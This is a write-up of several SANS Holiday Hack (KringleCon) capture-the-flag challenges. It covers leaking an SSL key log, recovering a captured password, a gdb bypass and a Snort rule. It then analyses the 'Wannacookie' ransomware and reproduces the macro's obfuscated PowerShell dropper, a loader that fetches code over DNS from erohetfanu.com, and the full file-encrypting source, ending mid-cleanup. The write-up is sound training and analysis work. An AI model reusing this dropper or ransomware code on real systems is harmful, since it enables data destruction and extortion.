With a bit of luck the curl env variable is the same SSLKEYLOGFILE as mentioned in app.js. That would imply that the same goes for the DEV variable. I’ve seen 2 dirs mentioned in the app.js
code. pub
and uploads
:
if (dev_mode) {
//Can set env variable to open up directories during dev
const env_dirs = load_envs();
} else {
const env_dirs = ['/pub/','/uploads/'];
}
Just to be sure I’ll use uploads
$ DEV=uploads SSLKEYLOGFILE=SSLKEYS-demux.txt curl -v --http2 'https://packalyzer.kringlecastle.com:80/'
$ DEV=uploads SSLKEYLOGFILE=SSLKEYS-demux.txt curl -v --http2 'https://packalyzer.kringlecastle.com:80/uploads/SSLKEYS-demux.txt'
Nope, that’s not it.
Some information leakage here: https://packalyzer.kringlecastle.com/pub/ssl
Error: ENOENT: no such file or directory, open '/opt/http2/pub//ssl'
Now compare a known path with and without training /
:
https://packalyzer.kringlecastle.com/pub
Not Found
https://packalyzer.kringlecastle.com/pub/
Error: EISDIR: illegal operation on a directory, read
Fiddling gives me: https://packalyzer.kringlecastle.com/dev/
Error: EISDIR: illegal operation on a directory, read
So that one exists.
It gets weirder: https://packalyzer.kringlecastle.com/DEV/asdfdasf
Error: ENOENT: no such file or directory, open '/opt/http2/dev//asdfdasf'
Wait, I didn’t enter dev
, I enetered DEV
. So maybe…
https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/asdfdasf
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/asdfdasf'
This would mean that this URL should give me the log: https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log
And it does!
So, now to make a packet capture, get the newest version of the log and I should be able to decrypt using wireshark.
And it does. Back to the objective: What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?
Lots of hunting shows a POST to /api/login
from alabaster. Dumping the raw data from the corresponding data packet and then gunzipping that raw data gives:
$ cat bla.raw|gunzip -
{"username": "alabaster", "password": "Packer-p@re-turntable192"}
This lets me login as alabaster. Now I can download the super_secret_packet_capture.pcap
. Which is a capture of SMTP data.
MAIL FROM:<Holly.evergreen@mail.kringlecastle.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@mail.kringlecastle.com>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Date: Fri, 28 Sep 2018 11:33:17 -0400
To: alabaster.snowball@mail.kringlecastle.com
From: Holly.evergreen@mail.kringlecastle.com
Subject: test Fri, 28 Sep 2018 11:33:17 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_11181"
------=_MIME_BOUNDARY_000_11181
Content-Type: text/plain
Hey alabaster,
Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.
------=_MIME_BOUNDARY_000_11181
Content-Type: application/octet-stream
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment
JVBERi0xLjUKJb/3ov4KOCAwIG9iago8PCAvTGluZWFyaXplZCAxIC9MIDk3ODMxIC9IIFsgNzM4
IDE0MCBdIC9PIDEyIC9FIDc3MzQ0IC9OIDIgL1QgOTc1MTcgPj4KZW5kb2JqCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKOSAwIG9iago8PCAv
[...]
Cutting out the base64 part and decoding gives a PDF. The song talked about is:
=> Mary Had a Little Lamb
Question 9:
Alabaster Snowball is in dire need of your help. Santa’s file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa’s server by completing several tasks. For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.
To start, assist Alabaster by accessing (clicking) the snort terminal below:
Then create a rule that will catch all new infections. What is the success message displayed by the Snort terminal?
elf@e720a1516cc4:~$ ./objdump -t sleighbell-lotto
sleighbell-lotto: file format elf64-x86-64
SYMBOL TABLE:
0000000000000238 l d .interp 0000000000000000 .interp
0000000000000254 l d .note.ABI-tag 0000000000000000 .note.ABI-tag
0000000000000274 l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id
0000000000000298 l d .gnu.hash 0000000000000000 .gnu.hash
00000000000002b8 l d .dynsym 0000000000000000 .dynsym
00000000000004c8 l d .dynstr 0000000000000000 .dynstr
00000000000005e4 l d .gnu.version 0000000000000000 .gnu.version
0000000000000610 l d .gnu.version_r 0000000000000000 .gnu.version_r
0000000000000670 l d .rela.dyn 0000000000000000 .rela.dyn
0000000000000748 l d .rela.plt 0000000000000000 .rela.plt
00000000000008c8 l d .init 0000000000000000 .init
00000000000008e0 l d .plt 0000000000000000 .plt
00000000000009f0 l d .plt.got 0000000000000000 .plt.got
0000000000000a00 l d .text 0000000000000000 .text
0000000000001624 l d .fini 0000000000000000 .fini
0000000000001630 l d .rodata 0000000000000000 .rodata
0000000000006dcc l d .eh_frame_hdr 0000000000000000 .eh_frame_hdr
0000000000006e40 l d .eh_frame 0000000000000000 .eh_frame
0000000000207d30 l d .init_array 0000000000000000 .init_array
0000000000207d38 l d .fini_array 0000000000000000 .fini_array
0000000000207d40 l d .dynamic 0000000000000000 .dynamic
0000000000207f40 l d .got 0000000000000000 .got
0000000000208000 l d .data 0000000000000000 .data
0000000000208068 l d .bss 0000000000000000 .bss
0000000000000000 l d .comment 0000000000000000 .comment
0000000000000000 l df *ABS* 0000000000000000 crtstuff.c
0000000000000a30 l F .text 0000000000000000 deregister_tm_clones
0000000000000a70 l F .text 0000000000000000 register_tm_clones
0000000000000ac0 l F .text 0000000000000000 __do_global_dtors_aux
0000000000208068 l O .bss 0000000000000001 completed.7696
0000000000207d38 l O .fini_array 0000000000000000 __do_global_dtors_a
ux_fini_array_entry
0000000000000b00 l F .text 0000000000000000 frame_dummy
0000000000207d30 l O .init_array 0000000000000000 __frame_dummy_init_
array_entry
0000000000000000 l df *ABS* 0000000000000000 hmac_sha256.c
0000000000000000 l df *ABS* 0000000000000000 sleigh-bell-lotto.c
0000000000208020 l O .data 0000000000000040 encoding_table
0000000000208078 l O .bss 0000000000000008 decoding_table
0000000000000000 l df *ABS* 0000000000000000 crtstuff.c
000000000000702c l O .eh_frame 0000000000000000 __FRAME_END__
0000000000000000 l df *ABS* 0000000000000000
0000000000006dcc l .eh_frame_hdr 0000000000000000 __GNU_EH_FRAME_HDR
0000000000207f40 l O .got 0000000000000000 _GLOBAL_OFFSET_TABLE_
0000000000207d38 l .init_array 0000000000000000 __init_array_end
0000000000207d30 l .init_array 0000000000000000 __init_array_start
0000000000207d40 l O .dynamic 0000000000000000 _DYNAMIC
0000000000208000 w .data 0000000000000000 data_start
0000000000000000 F *UND* 0000000000000000 printf@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 memset@@GLIBC_2.2.5
0000000000001620 g F .text 0000000000000002 __libc_csu_fini
0000000000000a00 g F .text 000000000000002b _start
0000000000000000 w *UND* 0000000000000000 __gmon_start__
0000000000000000 F *UND* 0000000000000000 puts@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 exit@@GLIBC_2.2.5
0000000000001624 g F .fini 0000000000000000 _fini
0000000000000f18 g F .text 00000000000000bf tohex
0000000000208060 g O .data 0000000000000008 winnermsg
0000000000000000 F *UND* 0000000000000000 malloc@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 __libc_start_main@@GLIBC_2.2.5
0000000000000fd7 g F .text 00000000000004e0 winnerwinner
0000000000000b0a g F .text 00000000000000c2 hmac_sha256
0000000000208070 g O .bss 0000000000000008 decoded_data
0000000000000000 w *UND* 0000000000000000 _ITM_deregisterTMCloneTable
0000000000001630 g O .rodata 0000000000000004 _IO_stdin_used
0000000000000000 F *UND* 0000000000000000 free@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 strlen@@GLIBC_2.2.5
0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable
0000000000208000 g .data 0000000000000000 __data_start
0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@@GLIBC_2.2.5
0000000000000c43 g F .text 00000000000002d5 base64_decode
0000000000000000 F *UND* 0000000000000000 sleep@@GLIBC_2.2.5
0000000000208068 g O .data 0000000000000000 .hidden __TMC_END__
0000000000208008 g O .data 0000000000000000 .hidden __dso_handle
00000000000015b0 g F .text 0000000000000065 __libc_csu_init
0000000000000000 F *UND* 0000000000000000 getenv@@GLIBC_2.2.5
0000000000208068 g .bss 0000000000000000 __bss_start
0000000000000000 F *UND* 0000000000000000 __stack_chk_fail@@GLIBC_2.4
0000000000000000 F *UND* 0000000000000000 HMAC@@OPENSSL_1_1_0
0000000000000000 F *UND* 0000000000000000 srand@@GLIBC_2.2.5
0000000000208080 g .bss 0000000000000000 _end
0000000000000c1e g F .text 0000000000000025 base64_cleanup
00000000000014b7 g F .text 0000000000000013 sorry
0000000000000bcc g F .text 0000000000000052 build_decoding_table
0000000000000000 F *UND* 0000000000000000 EVP_sha256@@OPENSSL_1_1_0
0000000000000000 F *UND* 0000000000000000 rand@@GLIBC_2.2.5
0000000000208068 g .data 0000000000000000 _edata
0000000000000000 F *UND* 0000000000000000 memcpy@@GLIBC_2.14
0000000000000000 F *UND* 0000000000000000 time@@GLIBC_2.2.5
00000000000014ca g F .text 00000000000000e1 main
00000000000008c8 g F .init 0000000000000000 _init
elf@e720a1516cc4:~$ ./gdb sleighbell-lotto
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
[...]
Reading symbols from sleighbell-lotto...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x14ce
(gdb) run
Starting program: /home/elf/sleighbell-lotto
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00005555555554ce in main ()
(gdb) jump winnermsg
Function "winnermsg" not defined.
(gdb) jump winnerwinner
Continuing at 0x555555554fdb.
..... ......
..,;:::::cccodkkkkkkkkkxdc;. .......
.';:codkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx.........
':okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx..........
.;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkdc..........
.:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;. ........
'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:. ......
;xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd'
.xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
.kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx;
:olodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk;
..........;;;;coxkkkkkkkkkkkkkkkkkkkkkkc
...................,',,:lxkkkkkkkkkkkkkd.
..........................';;:coxkkkkk:
...............................ckd.
...............................
...........................
.......................
....... ...
With gdb you fixed the race.
The other elves we did out-pace.
And now they'll see.
They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.
[Inferior 1 (process 21) exited normally]
(gdb)
Sweet candy goodness - I win! Thank you so much!
Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?
Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted.
Many elves were affected, so Alabaster went to go see if he could help out.
I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.
An elf I follow online said he analyzed Wannacookie and that it communicates over DNS.
He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.
Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!
Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.
Perhaps there is a flaw in the wannacookie author’s DNS server that we can manipulate to retrieve what we need.
If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.
INTRO:
Kringle Castle is currently under attacked by new piece of
ransomware that is encrypting all the elves files. Your
job is to configure snort to alert on ONLY the bad
ransomware traffic.
GOAL:
Create a snort rule that will alert ONLY on bad ransomware
traffic by adding it to snorts /etc/snort/rules/local.rules
file. DNS traffic is constantly updated to snort.log.pcap
COMPLETION:
Successfully create a snort rule that matches ONLY
bad DNS traffic and NOT legitimate user traffic and the
system will notify you of your success.
Check out ~/more_info.txt for additional information.
MORE INFO:
A full capture of DNS traffic for the last 30 seconds is
constantly updated to:
/home/elf/snort.log.pcap
You can also test your snort rule by running:
snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
This will create an alert file at ~/snort_logs/alert
This sensor also hosts an nginx web server to access the
last 5 minutes worth of pcaps for offline analysis. These
can be viewed by logging into:
http://snortsensor1.kringlecastle.com/
Using the credentials:
----------------------
Username | elf
Password | onashelf
tshark and tcpdump have also been provided on this sensor.
HINT:
Malware authors often user dynamic domain names and
IP addresses that change frequently within minutes or even
seconds to make detecting and block malware more difficult.
As such, its a good idea to analyze traffic to find patterns
and match upon these patterns instead of just IP/domains.
pattern seems:
[0-9]+\.[0-9A-F]*.[agbursrnhe]{10}.(com|org|ru)
After some mucking about:
alert udp any any <> any 53 (msg:"DNS request ransomware"; content: "|00 10 00 01|"; pcre: "/[0-9A-F]{38}/"; sid: 31415;)
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!
=> Congratulation! Snort is alerting on all ransomware and only the ransomware!
Question 10:
After completing the prior question, Alabaster gives you a document he suspects downloads the malware. What is the domain name the malware in the document downloads from?
After filling in the answer for Q9, I get:
Thank you so much! Snort IDS is alerting on each new ransomware infection in our network.
Hey, you're pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word document?
All the elves were emailed a cookie recipe right before all the infections. Take this document with a password of elves and find the domain it communicates with.
Download the document. It’s zipped.
After installing the full p7zip I can extract the document from the zip file.
[demux@demux kringlecon]$ ~/.local/bin/olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm
olevba 0.53.1 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm
===============================================================================
FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
+------------+-----------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+-----------------+-----------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
| AutoExec | Document_Open | Runs when the Word or Publisher |
| | | document is opened |
| Suspicious | Shell | May run an executable file or a system |
| | | command |
| Suspicious | powershell | May run PowerShell commands |
| Suspicious | ExecutionPolicy | May run PowerShell commands |
| Suspicious | New-Object | May create an OLE object using |
| | | PowerShell |
| IOC | powershell.exe | Executable file name |
+------------+-----------------+-----------------------------------------+
From the video, have the powershell decode itself:
powershell.exe -ExecutionPolicy Bypass -C "sal a New-Object; (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | Out-File dropper.ps1"
function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))
=> erohetfanu.com
Question 11:
Analyze the full malware source code to find a kill-switch and activate it at the North Pole’s domain registrar HoHoHo Daddy.
What is the full sentence text that appears on the domain registration success message (bottom sentence)?
function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o};
$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings};
iex($(H2A $h | Out-string))
Defang the iex:
function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; ($(H2A $h | Out-string))|Out-File badness.ps
This gives a file badness.ps
with the content:
$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);if ($enc_it) {$AESP.GenerateIV();$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);$Transform = $AESP.CreateEncryptor()} else {[Byte[]]$LenIV = New-Object Byte[] 4;$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV, 0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);[Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor()};$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);[Int]$Count = 0;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]$Data = New-Object Byte[] $BlockSzBts;Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0, $Count)} While ($Count -gt 0);$CryptoS.FlushFinalBlock();$CryptoS.Close();$FileSR.Close();$FileSW.Close();Clear-variable -Name "key";Remove-Item $File}};function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};function A2H(){Param($a);$c = '';$b = $a.ToCharArray();;Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))};return $c -replace ' '};function H2A() {Param($a);$outa;$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};return $outa};function B2H {param($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a} else {$tmp += $a}};return $tmp};function ti_rox {param($b1, $b2);$b1 = $(H2B $b1);$b2 = $(H2B $b2);$cont = New-Object Byte[] $b1.count;if ($b1.count -eq $b2.count) {for($i=0; $i -lt $b1.count ; $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}};return $cont};function B2G {param([byte[]]$Data);Process {$out = [System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0, $Data.Length);$gStream.Close();return $out.ToArray()}};function G2B {param([byte[]]$Data);Process {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object System.IO.MemoryStream;$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);$gStream.CopyTo( $output );$gStream.Close();$SrcData.Close();[byte[]] $byteArr = $output.ToArray();return $byteArr}};function sh1([String] $String) {$SB = New-Object System.Text.StringBuilder;[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{[Void]$SB.Append($_.ToString("x2"))};$SB.ToString()};function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);return $(B2H $encKey)};function e_n_d {param($key, $allfiles, $make_cookie );$tcount = 12;for ( $file=0; $file -lt $allfiles.length; $file++ ) {while ($true) {$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });if ($running.Count -le $tcount) {Start-Job -ScriptBlock {param($key, $File, $true_false);try{e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;break} else {Start-Sleep -m 200;continue}}}};function g_o_dns($f) {$h = '';foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings};return (H2A $h)};function s_2_c($astring, $size=32) {$new_arr = @();$chunk_index=0;foreach($i in 1..$($astring.length / $size)) {$new_arr += @($astring.substring($chunk_index,$size));$chunk_index += $size};return $new_arr};function snd_k($enc_k) {$chunks = (s_2_c $enc_k );foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}};return $n_c_id};function wanc {$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return};if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return};$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00});$h_k = $(B2H $b_k);$k_h = $(sh1 $h_k);$p_k_e_k = (p_k_e $b_k $p_k).ToString();$c_id = (snd_k $p_k_e_k);$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $b_k $f_c $true;Clear-variable -Name "h_k";Clear-variable -Name "b_k";$lurl = 'http://127.0.0.1:8080/';$html_c = @{'GET /' = $(g_o_dns (A2H "source.min.html"));'GET /close' = '<p>Bye!</p>'};Start-Job -ScriptBlock{param($url);Start-Sleep 10;Add-type -AssemblyName System.Windows.Forms;start-process "$url" -WindowStyle Maximized;Start-sleep 2;[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;$list = New-Object System.Net.HttpListener;$list.Prefixes.Add($lurl);$list.Start();try {$close = $false;while ($list.IsListening) {$context = $list.GetContext();$Req = $context.Request;$Resp = $context.Response;$recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {$akey = $Req.QueryString.Item("key");if ($k_h -eq $(sh1 $akey)) {$akey = $(H2B $akey);[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $akey $f_c $false;$html = "Files have been decrypted!";$close = $true} else {$html = "Invalid Key!"}} elseif ($recvd -eq 'GET /close') {$close = $true;$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /cookie_is_paid') {$c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;if ( $c_n_k.length -eq 32 ) {$html = $c_n_k} else {$html = "UNPAID|$c_id|$d_t"}} else {$Resp.statuscode = 404;$html = '<h1>404 Not Found</h1>'};$buffer = [Text.Encoding]::UTF8.GetBytes($html);$Resp.ContentLength64 = $buffer.length;$Resp.OutputStream.Write($buffer, 0, $buffer.length);$Resp.Close();if ($close) {$list.Stop();return}}} finally {$list.Stop()}};wanc;
Which is still annoyingly unreadable. So cleanup a bit.
$functions = {
function e_d_file($key, $File, $enc_it) {
[byte[]]$key = $key;
$Suffix = "`.wannacookie";
[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');
[System.Int32]$KeySize = $key.Length*8;
$AESP = New-Object 'System.Security.Cryptography.AesManaged';
$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$AESP.BlockSize = 128;
$AESP.KeySize = $KeySize;
$AESP.Key = $key;
$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);
if ($enc_it) {
$DestFile = $File + $Suffix
} else {
$DestFile = ($File -replace $Suffix)
};
$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
if ($enc_it) {
$AESP.GenerateIV();
$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
